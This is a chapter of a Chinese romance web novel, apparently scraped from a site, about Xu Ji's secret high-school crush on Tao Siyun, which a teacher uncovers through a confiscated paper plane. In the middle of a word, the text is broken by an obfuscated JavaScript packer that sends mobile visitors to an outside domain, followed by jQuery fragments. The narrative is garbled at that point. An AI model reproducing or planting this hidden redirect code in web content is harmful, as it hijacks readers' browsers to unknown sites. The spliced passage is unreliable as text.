点儿背的两人很有默契,互相对视了一眼,目光相触,很快分开。
陶斯允眼神飘忽,无意识地抠着手指,前言不搭后语地说:“这就是一个几率问题而已,和运气扯不上关系吧,再说了,现在不是又好了吗……”
“现在是好了,万一等会儿又坏了呢?在这种意外上不要有幸存者偏差。”
陶潜发完了微信,正准备下楼,陶斯允连忙问他去哪儿。
“没酱油了,出去买一瓶。”
陶斯允扯了扯她哥的袖子,像个小跟班,“我也要去。”
“去什么去,我就在小区旁边的便利店买,又不是去逛超市。”陶潜拍开她的手,对站在一旁的许霁说:“等会儿过来一起吃饭啊。”
经过最近几个月的相处,两个男人已经从一开始的校友和租客关系慢慢发展到了现在能称兄道弟的地步。
陶斯允都不知道许霁究竟是怎么做到的。
该不会是给陶潜灌迷魂汤了吧?
许霁自动忽略了对面那道意味不明的目光,点头说好。
陶斯允忍不住瞪他一眼。
谁想这人不光无视她,竟然还当着她的面突然改口叫了一声哥。
“谢谢哥。”
陶斯允:“……”
陶潜并没觉出什么不对劲,“那我先下去——”
许霁打断他的话,一脸乖巧地说:“酱油我家有。”
陶斯允:“……”
***
白天听完英语课以后,李老师趁着许霁和其他几个老师说话,单独把她叫进了办公室。
Miss李在陶斯允疑惑的目光中拉开中间的抽屉,从几本教案下面抽出一个文件袋,拿出里面的信封,交给她。
白色信封颇具年代感,上面印着的插图很眼熟,好像是当时热度很高的一本青春疼痛小说里的插画。
他们以前上高中的时候很流行这些文艺风的小东西,几乎每个女生都买过这类型的封皮小本写日记。
陶斯允有两本,一本用来抄歌词,另一本作为摘抄本,抄写一些文章里的好句好段。
蓝黑色墨水在信封的左上角后面多画了两个小方格,邮编由六格延长到了八格。
里面填的是一个日期—20140521。
“当老师这么多年,没收的东西数不胜数,最后都物归原主了。只有这个,我一直留着,今天终于能亲手交给你了。”
“给我的?”
“嗯哼。”李老师气定神闲地靠着办公桌,可以说是用一种类似于“期待”的目光看着她,想看她接下来的反应。
陶斯允有些不明就里,略带迟疑地开口:“这是什么?”
李老师笑笑,语气轻松地说:“打开看看不就知道了,就像是拆礼物一样。”说着还对她wink了一下,神神秘秘道:“这里面装着一个迟到七年的秘密哦,关于你的。”
关于我?
陶斯允轻轻摩挲着信封的边缘,不知道为什么,她心里莫名感到一阵紧张,心猛地一下提了起来。
她在Miss李的注视下小心翼翼地打开了信封,然而直觉告诉她,还是回家看比较好。
……
二零一四年五月二十一号,星期三,距离高考还有十七天。
那天,高三(十七)班上午连着两节都是英语课。
当时已经到了考前的最后阶段了,课堂上,老师不再领着大家一起复习,而是让学生自己刷历年的高考模拟卷,查漏补缺。
教室里没有说话的声音,所有人都在认真做题,把试卷翻得哗啦哗啦响,如此紧张的学习氛围里,只有一个人明显不在状态。
李老师坐在讲台上,已经盯了许霁半天。
经过了三轮模考以后,被所有任课老师寄予厚望,有望摘得“2014年沪西市高考理科状元”的许同学今天从上课起就表现得不太对劲。
坐他旁边的曹文正认真刷题的时候他在转笔玩儿,现在人家已经和后面的英语课代表对答案了,他还在发呆……
眼看一节课就要过去了,别人一套试卷都做完了,他连卷子都还没打开,也不知道究竟在想些什么。
该不会是最近压力太大了吧?
李老师顿时就有些坐不住了,走下讲台,给举手的学生讲完题,就在教室里转了一圈,然后神不知鬼不觉地走到了许霁身后。
扫了一眼桌上的空白试卷,屈指敲了敲课桌。
许霁动作一顿,抬起头。
李老师随口问道:“这么有信心啊!英语有把握考满分么?”
“没有。”许霁诚实地说:“数理化生可以。”
“所以你这是对我有什么意见么?”李老师拧了下眉,觉得考前还是很有必要和许霁谈谈心,于是把他手里的东西没收了,小声说:“等会儿下课来我办公室一趟。”
……
“我去老许你干啥了?老班居然请你去办公室喝茶诶!”曹文正对完了答案,和后桌的蒋圳对视一眼,摸着下巴异想天开道:“该不会是沪大铁了心要定你了吧?高考前破例再给你最后一次重新选择的机会?”
许霁淡淡地瞥了他一眼,没说话,拿起笔开始做阅读理解,留给他一个“你不要打扰我学习”的侧影。
“喂,胖儿,你觉不觉得,许霁像个渣男?”
“啊?”曹文正一脸懵逼:“他渣谁了?”
蒋圳:“上学期我问的时候,他还坚定地说选‘沪小姐’,后来没两天又改口说‘京小姐’也行,在我们梦寐以求的两个大学中间反复横跳。这学期我们高贵的‘沪大小姐’都主动对他抛出橄榄枝了,他不接,直接把保送名额让出去了,像个舔狗一样一门心思地追求‘京大小姐’……我说许雨齐,你能不能专一一点啊!”
“行行行行行了,你这是什么乱七八糟的比喻。”曹文正长叹一口气,愁眉苦脸道:“不管是‘沪小姐’还是‘京小姐’,她们哪怕有一个看得上我的也行啊,只要考上沪大,哪怕让我减肥我都愿意!”
“呵呵,就你?我给你算算,假如你减一斤肉能多换一分的话,根据最近一次考试成绩,那你得减89斤肥肉才能到录取线。”蒋圳摁着计算机一脸鄙视地说:“你从小到大哪一次减肥坚持下去了?不是我打击你啊胖儿,这对于你来说,比登天还难,真的,放弃吧,这辈子是没什么希望了,等下辈子吧。”
“放你的狗屁!”曹文正对自己体重的在意程度已经夸张地精确到了‘克’的地步,“去年录取分数线668!我这次考了621!190减47等于143斤!”
蒋圳“哦”了声,接着便无情地对他说道:“如果143斤的话……依我看下辈子也没什么希望了,下下辈子吧。”
曹文正气急败坏道:“滚滚滚滚滚!”
……
办公室里只有Mi
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867105|176179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
ss李一个人。
“坐。”李老师起身倒了一杯水给许霁,像个知心大姐姐一样拍了拍他的肩膀,“怎么了,有压力啊?”
许霁的眼睛盯着办公桌上的纸飞机,“没有。”
“哦,没有就好,我还以为你后悔放弃保送了呢。”李老师笑了笑,搬了把椅子在他对面坐了下来,笑眯眯地说:“我能打开看看么?”
许霁没说话,李老师默认他已经同意了。
信纸的正反两面都不是空白的。
把纸展开以后是一个画得很详细的航线图。
飞机从沪西起飞,沿着上空的虚线飞向京浮,途中经过的每一座城市都认真用笔标了出来。
“飞行距离≈1088km”
“飞行时间≈2h”
……
不知道的还以为他这是在做什么小调查呢!
把纸翻过来,反面这一页写满了字,严格来说是笔画。
点、横、撇,捺,零零散散的,像是拆卸完的零件一样,一笔一笔拼凑起来正好可以组成一个名字。
Miss李的目光落在最下面一行字上,带着疑问,一笔一笔,在空中写出了一个熟悉的名字。
李老师看了许霁一眼,目光微妙。
作为老师,在学生有早恋倾向的时候应该予以及时纠正、给予正确的引导。
但眼前这位,明显就是暗恋,根本构不成早恋的事实,怎么阻止?
李老师心想,总不能对他说:“你别喜欢人家了”吧?
马上就要高考了,也不好在这种时候多说什么,那就只能引导他考个好大学了。
“放弃保送,因为陶斯允,想去京浮大学?”
少年的暗恋秘密就这样被识破了。
许霁并没有否认。
要是她以后真的不在沪西的话,那他就去她的城市上大学。
“你们约好了?”
“没有,她现在还不知道。”
李老师这话问得很仔细,“不知道你要去京浮,还是不知道你喜欢她?”
“……都不知道。”
李老师不知信了还是没信,又问:“为什么不表白?最后的冲刺阶段你们可以一起努力。”
因为……联系不到。
许霁没有说话。
陶斯允像是突然消失了一样,Q.Q再也没有上线,发的消息也全都石沉大海。
“马上就要高考了,先安安心心复习吧,你和陶斯允暂时也要减少联系,以后的事,以后再说。”
李老师从抽屉里找了一个信封,当着许霁的面把写满他秘密的粉色纸飞机重新折好,装了进去。
“先好好准备高考吧,这个我暂时就没收了,等你英语考了满分再来找我要。”
***
零点整,窗外“咻”的一声划破了沉寂已久的黑夜,一簇簇烟花在城市上空炸开,漫天绚丽。
火星倾泻而下,犹如万千星辰从银河坠落人间,点亮了沪西的万家灯火。
新的一年到了。
陶斯允坐在地毯上,抱着膝盖,静静地望向窗外。
手机在边上嗡嗡震动,点开一看。
许霁发来一条消息:【新年快乐】
陶斯允心里微微一动,不知道该回些什么,慢吞吞地敲了几个字过去:【今晚的烟花很美】
嗯……好像一不小心烫到了她的心。